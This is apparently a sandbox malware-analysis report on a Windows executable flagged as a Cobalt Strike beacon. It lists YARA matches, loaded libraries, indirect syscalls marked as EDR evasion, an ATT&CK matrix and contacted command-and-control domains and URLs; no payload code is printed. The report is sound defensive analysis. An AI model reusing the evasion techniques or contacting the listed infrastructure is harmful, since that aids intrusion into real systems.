Source: 0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_b54b94ac reference_sample = 36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a, os = windows, severity = x86, description = Rule for beacon sleep obfuscation routine, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = 2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8, id = b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca, last_modified = 2022-01-13
Source: 00000000.00000002.3315812932.00000000020A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: Process Memory Space: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe PID: 6516, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23

Source: classification engine

Classification label: mal92.troj.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_0000000140054158 GetVersionExW,wcschr,CoInitializeEx,CoCreateInstance,

0_2_0000000140054158

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_000000014005876C GetModuleHandleW,GetUserDefaultUILanguage,FindResourceExW,FindResourceW,LoadResource,GlobalAlloc,

0_2_000000014005876C

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

ReversingLabs: Detection: 25%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static file information: File size 3636736 > 1048576

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x211c00

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: More than 200 imports for USER32.dll

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Jenkins\workspace\consumer-12-0-1-service\bin\Release\x64\SBAMCommandLineScanner.pdb source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Static PE information: real checksum: 0x33725e should be: 0x3790fb

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001401350C1 push rcx; ret

0_2_00000001401350C2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140104C7C SetForegroundWindow,IsIconic,PostMessageW,IsIconic,	0_2_0000000140104C7C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140104C7C SetForegroundWindow,IsIconic,PostMessageW,IsIconic,	0_2_0000000140104C7C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140044F34 IsIconic,	0_2_0000000140044F34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013D3C0 IsIconic,GetWindowRect,IsIconic,GetSystemMetrics,OffsetRect,GetSystemMetrics,IsIconic,GetSystemMetrics,GetSystemMetrics,	0_2_000000014013D3C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013D3C0 IsIconic,GetWindowRect,IsIconic,GetSystemMetrics,OffsetRect,GetSystemMetrics,IsIconic,GetSystemMetrics,GetSystemMetrics,	0_2_000000014013D3C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013D3C0 IsIconic,GetWindowRect,IsIconic,GetSystemMetrics,OffsetRect,GetSystemMetrics,IsIconic,GetSystemMetrics,GetSystemMetrics,	0_2_000000014013D3C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400B1740 GetParent,IsIconic,GetParent,GetDlgCtrlID,	0_2_00000001400B1740
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140105A3C IsIconic,	0_2_0000000140105A3C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_0000000140099CE8 SetRectEmpty,RedrawWindow,ReleaseCapture,SetCapture,ReleaseCapture,SetCapture,GetParent,SendMessageW,UpdateWindow,GetParent,SendMessageW,IsWindow,IsIconic,IsZoomed,IsWindow,UpdateWindow,	0_2_0000000140099CE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_00000001400C5D9C IsWindowVisible,IsIconic,	0_2_00000001400C5D9C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013DFAC IsWindowVisible,IsWindowVisible,GetWindowRect,IsIconic,CopyRect,MonitorFromPoint,GetMonitorInfoW,CopyRect,CopyRect,SystemParametersInfoW,OffsetRect,GetSystemMetrics,GetSystemMetrics,	0_2_000000014013DFAC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Code function: 0_2_000000014013E2CC IsIconic,PostMessageW,	0_2_000000014013E2CC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001401CDB40 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00000001401CDB40

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

API coverage: 1.5 %

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_000000014003C388 GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,

0_2_000000014003C388

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000002.3314909007.0000000000459000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2304843739.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2395775873.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2121493380.00000000004DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.00000000004DB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_3_01FC4060 LdrLoadDll,

0_3_01FC4060

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001401D83C4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00000001401D83C4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001401CC9B0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00000001401CC9B0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_000000014000E540 GetProcessHeap,_Init_thread_footer,_Init_thread_footer,

0_2_000000014000E540

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001401D83C4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00000001401D83C4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtResumeThread: Indirect: 0x20A4F90	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtSetContextThread: Indirect: 0x20A3ACA	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtAllocateVirtualMemory: Indirect: 0x1FC0185	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtCreateThreadEx: Indirect: 0x20A6602	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtSetContextThread: Indirect: 0x20A6953	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtResumeThread: Indirect: 0x20A66ED	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtSuspendThread: Indirect: 0x20A4E8C	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtSetContextThread: Indirect: 0x20A3D44	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtSetContextThread: Indirect: 0x20A66D8	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtCreateThreadEx: Indirect: 0x20A686D	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtAllocateVirtualMemory: Indirect: 0x1FC0249	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	NtProtectVirtualMemory: Indirect: 0x1FC0887	Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Thread register set: 6516 40

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001402009C0 AllocateAndInitializeSid,GetLengthSid,LocalAlloc,InitializeAcl,AddAccessAllowedAce,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,MakeSelfRelativeSD,GetLastError,LocalAlloc,MakeSelfRelativeSD,LocalFree,LocalFree,FreeSid,

0_2_00000001402009C0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

0_2_00000001402009C0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: try_get_function,GetLocaleInfoW,

0_2_00000001401EFFE4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_00000001401F0068 try_get_function,GetSystemTimeAsFileTime,

0_2_00000001401F0068

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_0000000140054158 GetVersionExW,wcschr,CoInitializeEx,CoCreateInstance,

0_2_0000000140054158

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: 0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe PID: 6516, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Disable or Modify Tools	21 Input Capture	1 System Time Discovery	Remote Services	21 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	31 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe	25%	ReversingLabs	Win64.Backdoor.CobaltStrikeBeacon

Name	IP	Active	Malicious	Antivirus Detection	Reputation
easthoolbook.com	89.150.57.46	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://easthoolbook.com/sign.mpeg?dare=true	false		unknown
easthoolbook.com	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://easthoolbook.com/Tj	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2931428688.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueProviderLj	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2901567104.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2931428688.000000000051B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=true$j	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/bq	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2781427971.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueGs	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3129143309.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/Gs	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.3099234815.000000000313D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://easthoolbook.com/sign.mpeg?dare=trueProvider	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2275023579.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2468168029.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2181259233.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2334675503.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2245388886.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2212647131.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2364213906.000000000051B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2498019988.000000000051C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe, 00000000.00000003.2438416359.000000000051B000.00000004.00000020.00020000.00000000.sdmp, 